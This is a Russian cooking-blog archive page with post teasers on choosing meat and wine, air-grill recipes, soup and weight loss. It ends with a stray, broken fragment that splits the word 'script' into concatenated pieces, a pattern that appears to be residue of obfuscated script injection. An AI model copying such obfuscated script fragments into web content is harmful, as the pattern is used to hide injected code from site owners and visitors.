Архив рубрики ‘Успешная кулинария’

Как правильно выбрать мясо?

Размещено в рубрике Успешная кулинария

Недавно на рынке в «Мясном отделе» стала свидетелем такого разговора:
— Девушка, а почему у Вас на срезе мясо имеет какой-то вишневый оттенок? Оно не свежее?
— Да что Вы, женщина! Только сегодня теленка забили! Надо разбираться в мясе-то, не первый же раз в жизни его, наверное, выбираете!
Смущенная напором продавщицы женщина поспешила уйти от прилавка, а другие [...]

Популярность: 32%

Читать запись полностью

Как правильно выбрать вино?

Размещено в рубрике Успешная кулинария, Этикет

Недавно к нам на сайт пришло письмо: «…Не могли бы вы доступно объяснить, как правильно выбрать вино? Скоро мне предстоит очень важная встреча и мне нельзя ударить лицом в грязь…»
К сожалению, автор не уточнил, что он конкретно имел в виду под словом «выбрать»: идет ли речь о правилах сочетания напитка с блюдами, об умении читать [...]

Популярность: 55%

Читать запись полностью

Готовим мясо в аэрогриле

Так уж мы все устроены, что, отлично понимая, насколько вредно жареное мясо, мы, тем не менее, не можем устоять перед аппетитным куском с поджаристой корочкой. Но, оказывается, с помощью аэрогриля можно приготовить не менее вкусные мясные блюда, которые будут содержать намного меньше канцерогенов и холестерина, чем при традиционной готовке.

Популярность: 31%

Популярность: 31%

Читать запись полностью

Аэрогриль. Когда гости на пороге

Звонок от друзей раздался неожиданно: «Ребята! Мы решили сделать вам сюрприз – сейчас стоим на перроне. Встречайте через час!» К радости от предстоящей встречи с людьми, которых мы не видели уже 18 лет, тут же примешалось знакомое всем хозяйкам беспокойство: «А чем угостить дорогих гостей?»

Популярность: 33%

Популярность: 33%

Читать запись полностью

Учимся готовить. Китайский куриный суп

Если вы всерьез занялись своим рационом питания, стремясь сделать его «здоровым», то вам просто необходимо усвоить некоторые секреты «правильной» готовки. Старайтесь избегать использования жира. Конечно, он придает любой еде неповторимый вкус. Но есть другие способы повысить аппетитность блюда. Во-первых, если вы используете сезонные овощи, то вполне можно обойтись безо всяких «усилителей», так как аромат овощей [...]

Популярность: 34%

Читать запись полностью

Как похудеть, не голодая? Бобовый салат с листьями радиччо

Как мы уже выяснили, чтобы похудеть, вовсе необязательно морить себя голодом или жить, не расставаясь с диетологическими таблицами. Достаточно лишь соблюдать рацион здорового питания. Как вы думаете, почему жители многих африканских стран почти не подвержены ожирению? Все дело в высоком содержании пищевых волокон (клетчатки) в тех продуктах, которые входят в их традиционное меню. Ведь клетчатка [...]

Популярность: 35%

Читать запись полностью

Как правильно похудеть? Не надо изобретать велосипед…

Пожалуй, одна из самых популярных тем, интерес к которой не угасает никогда, это тема о том, как похудеть. Да еще не просто похудеть, а как быстро и правильно похудеть, желательно, без особых самоистязаний. Проблема лишнего веса давно уже вышла за рамки лишь эстетической проблемы: сегодня любой грамотный человек понимает, что не только ожирение, а даже [...]

Популярность: 38%

Читать запись полностью

 Страница 1 из 3  1  2  3 »
undefined'+'/scr'+'ipt'+'/scr'+'ipt width=